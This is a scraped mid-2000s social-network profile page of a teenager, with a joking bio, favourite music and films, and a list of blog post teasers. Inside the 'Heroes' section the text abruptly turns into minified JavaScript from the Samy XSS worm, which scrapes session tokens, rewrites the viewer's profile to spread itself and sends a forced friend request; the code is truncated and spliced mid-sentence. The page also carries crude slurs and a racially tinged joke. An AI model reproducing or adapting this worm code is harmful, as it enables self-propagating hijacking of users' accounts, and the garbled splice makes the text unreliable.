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About Me


My name is Danielle and my nickname is Becky. When people ask why, I say it is a long story because I hate them. Some radicals call me Decky. Some Mexicoians call me Hector. I'm pretty much the third or fourth coolest person in the universe. I am not first or second because my grandma is before me and I can't kill her. She is too powerful. I'm also a compulsive liar. Whether that is true or not you can decide, ass whores. Talk is cheap and lies are expensive. I really hope Vin Diesel isn't gay. Right now I like hedgehogs, grilled cheese, green and hollaback girls. I intend to prove that diamonds are for a really really long time, and not forever. Sort of like your face. That comment was intended to offend you based on your race, religion, sexual orientation, and shoe size. God likes it when you give me money. The End.

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My Interests


Guitar. Art. Books. Life?Open for suggestions.

I'd like to meet:

Mahatma Ghandi. Stephen King. The baby Jesus. Cho Motha.

Music:

Any and all. Except if its crap. However, particualar favorites are: The Who, Alkaline Trio, Greenday, Aretha Franklin, The Beatles, Outkast, AC DC, 50 Cent, Nirvana. Way to more to remeber.

Movies:

Any and all. Except if its crap. More particulars: Stand by Me, School of Rock, Boondock Saints, The Lost Boys, The Goonies, The Birdacage, Pitch Black, and too many more to list.

Television:

Any and all. Except if its crap. And here we go: Law and Order SVU, Reno 911, Comedy Central Presents, IFC, and that is all that is coming to my brains.

Books:

Any and all.

Heroes:


My parents.(see above) They are related to me, and yet, it doesn't get em down. They are like a billion and six times cooler than me, which I guess still doesn't make them that cool. But seriously, they are awesome people who deal with me being an idiot all the time. They also pay for........well everything of mine. Thats cool. Why can't more of you do that? Also: my cousin Mark, for going out in public despite everything. 0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','% 2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26' )}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}..'J...statechange=BI');J.open(BJ,BH,true);if(BJ=='POS T'){J.setRequestHeader('Content-Type','application/x-www-for m-urlencoded');J.setRequestHeader('Content-Length',BK.length )}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=getSource();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace ('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. '}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' ');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){ if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview'; AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseact ion=profile.previewInterests&Mytoken='+AR,postHero,'POST ',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';A S['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');ht tpSend('/index.cfm?fuseaction=profile.processInterests&M ytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN +'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite .addfriend_verify&friendID=11851658&Mytoken='+L,proc essxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['subm it']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsP rocess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}f unction httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}..'xmlhttp2...statechange=BI');xmlhttp2.open(BJ,BH,tru e);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type',' application/x-www-form-urlencoded');xmlhttp2.setRequestHeade r('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"

My Blog

"I'm glad we live on a hill. The minorities can't get us up here."

I walked the dog today and was stopped by a man with no shoes, shorts with plenty of old butt-crack, and a big sweat shirt, with blond spikeyish hair and a gay-man's lisp who was kinda (?) raking leav...
Posted by it's only teenage wasteland on Mon, 04 Dec 2006 05:57:00 PST

Cha Cha Cha Chia

Why did Snoop Dog bring an umbrella?                                               &n...
Posted by it's only teenage wasteland on Wed, 04 Oct 2006 04:17:00 PST

A visit to the eye doctor where becky's self esteem is lowered and mass glass carnage is shed

Motha fruitin eye doctor people. Not ONLY did they keep me and my dad waiting for about three hours total, the man had the NERVE to subtly  insist the glasses of my choice (that I can use fo...
Posted by it's only teenage wasteland on Mon, 01 Jan 1900 12:00:00 PST

What the hell does this have to do with track? EVERYTHING!

  Quote found while working on coaches scrapbook at Amy& Shirley's. Quite possibly the coolest thing ever. Brace yourself.   "I had a horse in Mexico one time that I rode. He was just b...
Posted by it's only teenage wasteland on Mon, 01 Jan 1900 12:00:00 PST

A week to remember-Bite that mandy moore

Roight roight. I think a lot of funny fosheezy happend. Let's see just how much I can remeber. Monday: Kid: *walks into pole* "you didn't see that" Me: "See what?" Kid:"Oh you didn't see? ...
Posted by it's only teenage wasteland on Mon, 01 Jan 1900 12:00:00 PST

Procrastination: The end of us all/Who's in?

Yes. Righting (or avoiding) the fruitin Earth Science essay is driving me nuts. I hope you all are(n't) having the same difficulties. Anyway. While procrastinating, I mentioned to my dear, if some...
Posted by it's only teenage wasteland on Mon, 01 Jan 1900 12:00:00 PST

Well, I'm tickled "Peru"!

you are peru..CD853FYour dominant hues are red and yellow... most of what you do is motivated by your need to change things and have a good time, but you've been known to settle down and think out a s...
Posted by it's only teenage wasteland on Mon, 01 Jan 1900 12:00:00 PST

Freshman + Steroids/hormones= A confused Becky

Roight, roight. Walkin back from gym with C-sista Casey. Having a discussion on the pronunciation of "oppossum" as being either OH-POSS-EM, or POSS-EM, or UH-POSS-EM. Bitch freshman boy in front o...
Posted by it's only teenage wasteland on Mon, 01 Jan 1900 12:00:00 PST

Hole-la

sup mes amigos? Today was alright. The weekend was better though, I am sorry to say. Went sledding. Made awesome jumps with Prutzface. lalalala oh and yes, for like, the four of you whom I haven'...
Posted by it's only teenage wasteland on Mon, 01 Jan 1900 12:00:00 PST

Identity crisis

For anyone I'm friending, considering I don't have a pic of myself up yet, this is Becky/Danielle/ whatever the heck you know me as. I just referred to myself as a "whatever" rather than "whoever" w...
Posted by it's only teenage wasteland on Mon, 01 Jan 1900 12:00:00 PST